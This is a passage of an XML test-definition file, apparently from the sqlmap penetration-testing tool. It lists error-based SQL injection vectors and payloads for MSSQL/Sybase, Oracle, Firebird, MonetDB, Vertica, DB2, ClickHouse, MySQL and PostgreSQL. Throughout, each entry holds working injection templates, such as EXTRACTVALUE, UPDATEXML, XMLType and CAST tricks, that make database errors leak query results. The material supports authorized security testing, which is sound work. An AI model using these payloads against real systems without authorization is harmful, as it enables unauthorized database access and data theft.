            <payload>OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
520
        </request>
521
        <response>
522
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
523
        </response>
524
        <details>
525
            <dbms>Microsoft SQL Server</dbms>
526
            <dbms>Sybase</dbms>
527
        </details>
528
    </test>
529

530
    <test>
531
        <title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT)</title>
532
        <stype>2</stype>
533
        <level>2</level>
534
        <risk>1</risk>
535
        <clause>1,8,9</clause>
536
        <where>1</where>
537
        <vector>AND [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')</vector>
538
        <request>
539
            <payload>AND [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')</payload>
540
        </request>
541
        <response>
542
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
543
        </response>
544
        <details>
545
            <dbms>Microsoft SQL Server</dbms>
546
            <dbms>Sybase</dbms>
547
        </details>
548
    </test>
549

550
    <test>
551
        <title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONCAT)</title>
552
        <stype>2</stype>
553
        <level>3</level>
554
        <risk>3</risk>
555
        <clause>1,8,9</clause>
556
        <where>2</where>
557
        <vector>OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')</vector>
558
        <request>
559
            <payload>OR [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')</payload>
560
        </request>
561
        <response>
562
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
563
        </response>
564
        <details>
565
            <dbms>Microsoft SQL Server</dbms>
566
            <dbms>Sybase</dbms>
567
        </details>
568
    </test>
569

570
    <test>
571
        <title>Oracle AND error-based - WHERE or HAVING clause (XMLType)</title>
572
        <stype>2</stype>
573
        <level>1</level>
574
        <risk>1</risk>
575
        <clause>1,9</clause>
576
        <where>1</where>
577
        <vector>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
578
        <request>
579
            <payload>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
580
        </request>
581
        <response>
582
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
583
        </response>
584
        <details>
585
            <dbms>Oracle</dbms>
586
        </details>
587
    </test>
588

589
    <test>
590
        <title>Oracle OR error-based - WHERE or HAVING clause (XMLType)</title>
591
        <stype>2</stype>
592
        <level>1</level>
593
        <risk>3</risk>
594
        <clause>1,9</clause>
595
        <where>2</where>
596
        <vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
597
        <request>
598
            <payload>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
599
        </request>
600
        <response>
601
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
602
        </response>
603
        <details>
604
            <dbms>Oracle</dbms>
605
        </details>
606
    </test>
607

608
    <test>
609
        <title>Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)</title>
610
        <stype>2</stype>
611
        <level>2</level>
612
        <risk>1</risk>
613
        <clause>1,9</clause>
614
        <where>1</where>
615
        <vector>AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
616
        <request>
617
            <payload>AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')</payload>
618
        </request>
619
        <response>
620
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
621
        </response>
622
        <details>
623
            <dbms>Oracle</dbms>
624
            <dbms_version>&gt;= 8.1.6</dbms_version>
625
        </details>
626
    </test>
627

628
    <test>
629
        <title>Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)</title>
630
        <stype>2</stype>
631
        <level>2</level>
632
        <risk>3</risk>
633
        <clause>1,9</clause>
634
        <where>2</where>
635
        <vector>OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
636
        <request>
637
            <payload>OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')</payload>
638
        </request>
639
        <response>
640
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
641
        </response>
642
        <details>
643
            <dbms>Oracle</dbms>
644
            <dbms_version>&gt;= 8.1.6</dbms_version>
645
        </details>
646
    </test>
647

648
    <test>
649
        <title>Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)</title>
650
        <stype>2</stype>
651
        <level>3</level>
652
        <risk>1</risk>
653
        <clause>1,9</clause>
654
        <where>1</where>
655
        <vector>AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
656
        <request>
657
            <payload>AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))</payload>
658
        </request>
659
        <response>
660
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
661
        </response>
662
        <details>
663
            <dbms>Oracle</dbms>
664
        </details>
665
    </test>
666

667
    <test>
668
        <title>Oracle OR error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)</title>
669
        <stype>2</stype>
670
        <level>3</level>
671
        <risk>3</risk>
672
        <clause>1,9</clause>
673
        <where>2</where>
674
        <vector>OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
675
        <request>
676
            <payload>OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))</payload>
677
        </request>
678
        <response>
679
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
680
        </response>
681
        <details>
682
            <dbms>Oracle</dbms>
683
        </details>
684
    </test>
685

686
    <test>
687
        <title>Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)</title>
688
        <stype>2</stype>
689
        <level>4</level>
690
        <risk>1</risk>
691
        <clause>1,9</clause>
692
        <where>1</where>
693
        <vector>AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
694
        <request>
695
            <payload>AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))</payload>
696
        </request>
697
        <response>
698
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
699
        </response>
700
        <details>
701
            <dbms>Oracle</dbms>
702
        </details>
703
    </test>
704

705
    <test>
706
        <title>Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)</title>
707
        <stype>2</stype>
708
        <level>4</level>
709
        <risk>3</risk>
710
        <clause>1,9</clause>
711
        <where>2</where>
712
        <vector>OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
713
        <request>
714
            <payload>OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))</payload>
715
        </request>
716
        <response>
717
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
718
        </response>
719
        <details>
720
            <dbms>Oracle</dbms>
721
        </details>
722
    </test>
723

724
    <test>
725
        <title>Firebird AND error-based - WHERE or HAVING clause</title>
726
        <stype>2</stype>
727
        <level>3</level>
728
        <risk>1</risk>
729
        <clause>1</clause>
730
        <where>1</where>
731
        <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
732
        <request>
733
            <payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload>
734
        </request>
735
        <response>
736
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
737
        </response>
738
        <details>
739
            <dbms>Firebird</dbms>
740
        </details>
741
    </test>
742

743
    <test>
744
        <title>Firebird OR error-based - WHERE or HAVING clause</title>
745
        <stype>2</stype>
746
        <level>4</level>
747
        <risk>3</risk>
748
        <clause>1</clause>
749
        <where>2</where>
750
        <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
751
        <request>
752
            <payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload>
753
        </request>
754
        <response>
755
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
756
        </response>
757
        <details>
758
            <dbms>Firebird</dbms>
759
        </details>
760
    </test>
761

762
    <test>
763
        <title>MonetDB AND error-based - WHERE or HAVING clause</title>
764
        <stype>2</stype>
765
        <level>3</level>
766
        <risk>1</risk>
767
        <clause>1</clause>
768
        <where>1</where>
769
        <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
770
        <request>
771
            <payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
772
        </request>
773
        <response>
774
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
775
        </response>
776
        <details>
777
            <dbms>MonetDB</dbms>
778
        </details>
779
    </test>
780

781
    <test>
782
        <title>MonetDB OR error-based - WHERE or HAVING clause</title>
783
        <stype>2</stype>
784
        <level>4</level>
785
        <risk>3</risk>
786
        <clause>1</clause>
787
        <where>2</where>
788
        <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
789
        <request>
790
            <payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
791
        </request>
792
        <response>
793
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
794
        </response>
795
        <details>
796
            <dbms>MonetDB</dbms>
797
        </details>
798
    </test>
799

800
    <test>
801
        <title>Vertica AND error-based - WHERE or HAVING clause</title>
802
        <stype>2</stype>
803
        <level>3</level>
804
        <risk>1</risk>
805
        <clause>1</clause>
806
        <where>1</where>
807
        <vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
808
        <request>
809
            <payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
810
        </request>
811
        <response>
812
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
813
        </response>
814
        <details>
815
            <dbms>Vertica</dbms>
816
        </details>
817
    </test>
818

819
    <test>
820
        <title>Vertica OR error-based - WHERE or HAVING clause</title>
821
        <stype>2</stype>
822
        <level>4</level>
823
        <risk>3</risk>
824
        <clause>1</clause>
825
        <where>2</where>
826
        <vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
827
        <request>
828
            <payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
829
        </request>
830
        <response>
831
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
832
        </response>
833
        <details>
834
            <dbms>Vertica</dbms>
835
        </details>
836
    </test>
837

838
    <test>
839
        <title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
840
        <stype>2</stype>
841
        <level>3</level>
842
        <risk>1</risk>
843
        <clause>1</clause>
844
        <where>1</where>
845
        <vector>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
846
        <request>
847
            <payload>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
848
        </request>
849
        <response>
850
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
851
        </response>
852
        <details>
853
            <dbms>IBM DB2</dbms>
854
        </details>
855
    </test>
856

857
    <test>
858
        <title>IBM DB2 OR error-based - WHERE or HAVING clause</title>
859
        <stype>2</stype>
860
        <level>4</level>
861
        <risk>3</risk>
862
        <clause>1</clause>
863
        <where>1</where>
864
        <vector>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
865
        <request>
866
            <payload>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
867
        </request>
868
        <response>
869
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
870
        </response>
871
        <details>
872
            <dbms>IBM DB2</dbms>
873
        </details>
874
    </test>
875

876
    <test>
877
        <title>ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
878
        <stype>2</stype>
879
        <level>3</level>
880
        <risk>1</risk>
881
        <clause>1,2,3,9</clause>
882
        <where>1</where>
883
        <vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
884
        <request>
885
            <payload>AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
886
        </request>
887
        <response>
888
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
889
        </response>
890
        <details>
891
            <dbms>ClickHouse</dbms>
892
        </details>
893
    </test>
894

895
    <test>
896
        <title>ClickHouse OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
897
        <stype>2</stype>
898
        <level>4</level>
899
        <risk>3</risk>
900
        <clause>1,2,3,9</clause>
901
        <where>1</where>
902
        <vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
903
        <request>
904
            <payload>OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
905
        </request>
906
        <response>
907
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
908
        </response>
909
        <details>
910
            <dbms>ClickHouse</dbms>
911
        </details>
912
    </test>
913

914
    <!--
915
         TODO: if possible, add payload for SQLite, Microsoft Access,
916
         and SAP MaxDB - no known techniques at this time
917
    -->
918
    <!-- End of error-based tests - WHERE, HAVING, ORDER BY or GROUP BY clause -->
919

920
    <!-- Error-based tests - LIMIT clause -->
921
    <test>
922
        <title>MySQL &gt;= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)</title>
923
        <stype>2</stype>
924
        <level>2</level>
925
        <risk>1</risk>
926
        <clause>1,2,3,4,5</clause>
927
        <where>1</where>
928
        <vector>PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')),1)</vector>
929
        <request>
930
            <payload>PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')),1)</payload>
931
        </request>
932
        <response>
933
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
934
        </response>
935
        <details>
936
            <dbms>MySQL</dbms>
937
            <dbms_version>&gt;= 5.1</dbms_version>
938
        </details>
939
    </test>
940
    <!-- End of error-based tests - LIMIT clause -->
941

942
    <!-- Error-based tests - Parameter replace -->
943
    <test>
944
        <title>MySQL &gt;= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)</title>
945
        <stype>2</stype>
946
        <level>5</level>
947
        <risk>1</risk>
948
        <clause>1,2,3,9</clause>
949
        <where>3</where>
950
        <vector>(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</vector>
951
        <request>
952
            <!-- These work as good as ELT(), but are longer
953
            <payload>(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
954
            <payload>(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
955
            -->
956
            <payload>(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
957
        </request>
958
        <response>
959
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
960
        </response>
961
        <details>
962
            <dbms>MySQL</dbms>
963
            <dbms_version>&gt;= 5.5</dbms_version>
964
        </details>
965
    </test>
966

967
    <test>
968
        <title>MySQL &gt;= 5.5 error-based - Parameter replace (EXP)</title>
969
        <stype>2</stype>
970
        <level>5</level>
971
        <risk>1</risk>
972
        <clause>1,2,3,9</clause>
973
        <where>3</where>
974
        <vector>EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
975
        <request>
976
            <payload>EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
977
        </request>
978
        <response>
979
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
980
        </response>
981
        <details>
982
            <dbms>MySQL</dbms>
983
            <dbms_version>&gt;= 5.5</dbms_version>
984
        </details>
985
    </test>
986

987
    <test>
988
        <title>MySQL &gt;= 5.6 error-based - Parameter replace (GTID_SUBSET)</title>
989
        <stype>2</stype>
990
        <level>5</level>
991
        <risk>1</risk>
992
        <clause>1,2,3,9</clause>
993
        <where>3</where>
994
        <vector>GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
995
        <request>
996
            <payload>GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
997
        </request>
998
        <response>
999
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1000
        </response>
1001
        <details>
1002
            <dbms>MySQL</dbms>
1003
            <dbms_version>&gt;= 5.6</dbms_version>
1004
        </details>
1005
    </test>
1006

1007
    <test>
1008
        <title>MySQL &gt;= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title>
1009
        <stype>2</stype>
1010
        <level>5</level>
1011
        <risk>1</risk>
1012
        <clause>1,2,3,9</clause>
1013
        <where>3</where>
1014
        <vector>JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))</vector>
1015
        <request>
1016
            <payload>JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))</payload>
1017
        </request>
1018
        <response>
1019
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1020
        </response>
1021
        <details>
1022
            <dbms>MySQL</dbms>
1023
            <dbms_version>&gt;= 5.7.8</dbms_version>
1024
        </details>
1025
    </test>
1026

1027
    <test>
1028
        <title>MySQL &gt;= 5.0 error-based - Parameter replace (FLOOR)</title>
1029
        <stype>2</stype>
1030
        <level>2</level>
1031
        <risk>1</risk>
1032
        <clause>1,2,3,9</clause>
1033
        <where>3</where>
1034
        <vector>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</vector>
1035
        <request>
1036
            <!-- These work as good as ELT(), but are longer
1037
            <payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
1038
            <payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
1039
            -->
1040
            <payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
1041
        </request>
1042
        <response>
1043
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1044
        </response>
1045
        <details>
1046
            <dbms>MySQL</dbms>
1047
            <dbms_version>&gt;= 5.0</dbms_version>
1048
        </details>
1049
    </test>
1050

1051
    <test>
1052
        <title>MySQL &gt;= 5.1 error-based - Parameter replace (UPDATEXML)</title>
1053
        <stype>2</stype>
1054
        <level>4</level>
1055
        <risk>1</risk>
1056
        <clause>1,2,3,9</clause>
1057
        <where>3</where>
1058
        <vector>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]))</vector>
1059
        <request>
1060
            <!-- These work as good as ELT(), but are longer
1061
            <payload>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1]))</payload>
1062
            <payload>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]))</payload>
1063
            -->
1064
            <payload>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]))</payload>
1065
        </request>
1066
        <response>
1067
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1068
        </response>
1069
        <details>
1070
            <dbms>MySQL</dbms>
1071
            <dbms_version>&gt;= 5.1</dbms_version>
1072
        </details>
1073
    </test>
1074

1075
    <test>
1076
        <title>MySQL &gt;= 5.1 error-based - Parameter replace (EXTRACTVALUE)</title>
1077
        <stype>2</stype>
1078
        <level>2</level>
1079
        <risk>1</risk>
1080
        <clause>1,2,3,9</clause>
1081
        <where>3</where>
1082
        <vector>(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')))</vector>
1083
        <request>
1084
            <!-- These work as good as ELT(), but are longer
1085
            <payload>(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')))</payload>
1086
            <payload>(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')))</payload>
1087
            -->
1088
            <payload>(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')))</payload>
1089
        </request>
1090
        <response>
1091
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1092
        </response>
1093
        <details>
1094
            <dbms>MySQL</dbms>
1095
            <dbms_version>&gt;= 5.1</dbms_version>
1096
        </details>
1097
    </test>
1098

1099
    <test>
1100
        <title>PostgreSQL error-based - Parameter replace</title>
1101
        <stype>2</stype>
1102
        <level>2</level>
1103
        <risk>1</risk>
1104
        <clause>1,2,3,9</clause>
1105
        <where>3</where>
1106
        <vector>(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))</vector>
1107
        <request>
1108
            <payload>(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC))</payload>
1109
        </request>
1110
        <response>
1111
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1112
        </response>
1113
        <details>
1114
            <dbms>PostgreSQL</dbms>
1115
        </details>
1116
    </test>
1117

1118
    <test>
1119
        <title>PostgreSQL error-based - Parameter replace (GENERATE_SERIES)</title>
1120
        <stype>2</stype>
1121
        <level>5</level>
1122
        <risk>1</risk>
1123
        <clause>1,2,3,9</clause>
1124
        <where>3</where>
1125
        <vector>(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))</vector>
1126
        <request>
1127
            <payload>(CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC))</payload>
1128
        </request>
1129
        <response>
1130
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1131
        </response>
1132
        <details>
1133
            <dbms>PostgreSQL</dbms>
1134
        </details>
